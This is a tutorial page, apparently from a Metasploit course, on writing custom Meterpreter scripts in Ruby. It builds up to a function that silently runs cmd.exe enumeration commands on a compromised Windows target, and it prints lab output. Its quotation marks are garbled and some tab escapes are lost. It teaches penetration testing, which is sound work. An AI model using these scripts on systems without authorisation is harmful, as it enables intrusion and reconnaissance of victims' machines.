Custom Scripting a11y.text Custom Scripting Now that we have a feel for how to use irb to test API calls, letâ€™s look at what objects are returned and test basic constructs. Now, no first script would be complete without the standard â€˜Hello Worldâ€™, so letâ€™s create a script named helloworld.rb and save it to /usr/share/metasploit-framework/scripts/meterpreter . root@kali : ~ # echo â€œprint_status (â€œHello Worldâ€•) â€• > /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb We now execute our script from the console by using the run command. meterpreter > run helloworld

[*] Hello World

meterpreter > Now, lets build upon this base. We will add a couple of other API calls to the script. Add these lines to the script: print_error(â€œthis is an error!â€•)

print_line(â€œthis is a lineâ€•) Much like the concept of standard in, standard out, and standard error, these different lines for status, error, and line all serve different purposes on giving information to the user running the script. Now, when we execute our file we get: meterpreter > run helloworld

[*] Hello World

[-] this is an error!

this is a line

meterpreter > helloworld.rb a11y.text helloworld.rb print_status("Hello World")

print_error("this is an error!")

print_line("This is a line") Wonderful! Letâ€™s go a bit further and create a function to print some general information and add error handling to it in a second file. This new function will have the following architecture: def geninfo(session)

    begin

    â€¦

    rescue ::Exception => e

    â€¦

    end

end The use of functions allows us to make our code modular and more re-usable. This error handling will aid us in the troubleshooting of our scripts, so using some of the API calls we covered previously, we could build a function that looks like this: def getinfo(session)

```
  begin
    sysnfo = session.sys.config.sysinfo
    runpriv = session.sys.config.getuid
    print_status("Getting system information ...")
    print_status("tThe target machine OS is #{sysnfo['OS']}")
    print_status("tThe computer name is #{'Computer'} ")
    print_status("tScript running as #{runpriv}")
  rescue ::Exception => e
    print_error("The following error was encountered #{e}")
  end
```

end Letâ€™s break down what we are doing here. We define a function named getinfo which takes one parameter that we are placing in a local variable named session . This variable has a couple methods that are called on it to extract system and user information, after which we print a couple of status lines that report the findings from the methods. In some cases, the information we are printing comes out from a hash, so we have to be sure to call the variable correctly. We also have an error handler placed in there that will return what ever error message we might encounter. Now that we have this function, we just have to call it and give it the Meterpreter client session. To call it, we just place the following at the end of our script: getinfo(client) Now we execute the script and we can see the output of it: meterpreter > run helloworld2

```
[*] Getting system information ...
[*]     The target machine OS is Windows XP (Build 2600, Service Pack 3).
[*]     The computer name is Computer
[*]     Script running as WINXPVM01labuser helloworld2.rb a11y.text helloworld2.rb def
```

```
getinfo(session)
    begin
        sysnfo = session.sys.config.sysinfo
        runpriv = session.sys.config.getuid
        print_status("Getting system information ...")
        print_status("tThe target machine OS is #{sysnfo['OS']}")
        print _status("tThe computer name is #{'Computer'} ")
        print_status("tScript running as #{runpriv}")
 rescue ::Exception => e
        print_error("The following error was encountered #{e}")
    end
 end
```

getinfo(client) As you can see, these very simple steps build up to give us the basics for creating advanced Meterpreter scripts. Letâ€™s expand on this script to gather more information on our target. Letâ€™s create another function for executing commands and printing their output: def list_exec(session,cmdlst)

```
    print_status("Running Command List ...")
    r=''
    session.response_timeout=120
    cmdlst.each do |cmd|
        begin
            print_status "trunning command #{cmd}"
            r = session.sys.process.execute(â€œcmd.exe /c #{cmd}â€•, nil, {'Hidden' => true,
'Channelized' => true})
```

```
        while(d = r.channel.read)


          print_status("t#{d}")
        end
        r.channel.close
        r.close
      rescue ::Exception => e
        print_error("Error Running Command #{cmd}: #{e.class} #{e}")
      end
    end
```

end Again, letâ€™s break down what we are doing here. We define a function that takes two parameters, the second of which will be a array. A timeout is also established so that the function does not hang on us. We then set up a â€œfor eachâ€• loop that runs on the array that is passed to the function which will take each item in the array and execute it on the system through cmd.exe /c , printing the status that is returned from the command execution. Finally, an error handler is established to capture any issues that come up while executing the function. Now we set an array of commands for enumerating the target host: commands = [â€œsetâ€•,

â€œipconfig /allâ€•,

â€œarp â€“aâ€•] and then call it with the command list_exec(client,commands) With that in place, when we run it we get: meterpreter > run helloworld3

```
[*] Running Command List ...
[*]     running command set
[*]     ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\P0WN3D\Application Data
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=TARGET
```

ComSpec=C:\WINNT\system32\cmd.exe

HOMEDRIVE=C:

HOMEPATH=

LOGONSERVER=TARGET

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:\WINNT\system32\os2dll;

Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 7 Stepping 6, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0706

ProgramFiles=C:\Program Files

PROMPT=PG

SystemDrive=C:

SystemRoot=C:\WINNT

TEMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp

TMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp

USERDOMAIN=TARGET

USERNAME=P0WN3D

USERPROFILE=C:\Documents and Settings\P0WN3D

windir=C:\WINNT

[*] running command ipconfig /all

[*]

Windows 2000 IP Configuration

Host Name . . . . : target

Primary DNS Suffix . . . . :

Node Type . . . . : Hybrid

IP Routing Enabled. . . . . : No

WINS Proxy Enabled. . . . . : No

DNS Suffix Search List. . . . . . : localdomain

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain

Description . . . . : VMware Accelerated AMD PCNet Adapter

Physical Address. . . . . : 00-0C-29-85-81-55

DHCP Enabled. . . . . : Yes

Autoconfiguration Enabled . . . . : Yes

IP Address. . . . . : 172.16.104.145

Subnet Mask . . . . : 255.255.255.0

Default Gateway . . . . : 172.16.104.2

DHCP Server . . . . : 172.16.104.254

DNS Servers . . . . : 172.16.104.2

Primary WINS Server . . . . : 172.16.104.2

Lease Obtained. . . . . : Tuesday, August 25, 2009 10:53:48 PM

Lease Expires . . . . : Tuesday, August 25, 2009 11:23:48 PM

[*] running command arp -a

```
[*]
Interface: 172.16.104.145 on Interface 0x1000003
Internet Address      Physical Address      Type
172.16.104.2          00-50-56-eb-db-06     dynamic
172.16.104.150        00-0c-29-a7-f1-c5     dynamic

meterpreter > helloworld3.rb a11y.text helloworld3.rb def list_exec(session,cmdlst)
  print_status("Running Command List ...")
  r=''
  session.response_timeout=120
  cmdlst.each do |cmd|
    begin
      print_status "running command #{cmd}"
      r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' =>
true})
      while(d = r.channel.read)

        print_status("t#{d}")
      end
      r.channel.close
      r.close
    rescue ::Exception => e
      print_error("Error Running Command #{cmd}: #{e.class} #{e}")
    end
  end
end
```

```
commands = [ "set",
    "ipconfig  /all",
    "arp -a"]
```

list_exec(client,commands) As you can see, creating custom Meterpreter scripts is not difficult if you take it one step at a time, building upon itself. Just remember to frequently test, and refer back to the source on how various API calls operate. Next Useful API Calls Prev Writing Meterpreter Scripts